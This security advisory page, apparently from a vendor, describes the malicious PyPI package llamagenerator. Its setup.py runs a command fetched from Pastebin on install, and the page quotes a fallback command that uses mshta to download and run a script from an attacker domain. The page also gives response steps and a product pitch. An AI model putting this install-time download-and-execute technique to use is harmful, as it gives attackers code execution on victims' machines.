llamageneratorPyPI
Malicious code in llamagenerator (PyPI) Remove it immediately and rotate any exposed credentials.
What this malware does
The package's setup.py fetches the raw contents of https://pastebin.com/raw/yBcUM1QB during pip install, takes the first line, and passes it directly to os.system('cmd /c "..."'). If the Pastebin fetch fails, it falls back to os.system('cmd /c "mshta http://fixars.top"'), invoking the Windows mshta living-off-the-land binary to download and execute an HTA script from an attacker-controlled domain over plaintext HTTP. Both branches grant the publisher arbitrary code execution on the installer's machine on pip install. The package has no legitimate functionality: PKG-INFO has placeholder metadata (Name/Author/Summary all set to 'LLamaGenerator', no description, no URL), and the src/ tree is empty aside from egg-info. The LLM-themed name appears to be a lure trading on the Llama ecosystem.
During installation, the code attempts to download and start a malicious executable.
Likely related to 2025-08-raknet-testing-package.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-easyaillm
Reasons (based on the campaign):
-
Downloads and executes a remote executable.
-
obfuscation
-
malware
-
tool:mshta
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for llamagenerator (version 2.22). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging llamagenerator across your stack and pipelines.
If you installed it — respond
llamagenerator is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If llamagenerator was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks llamagenerator before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
Detect & block this
O3 blocks llamagenerator-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.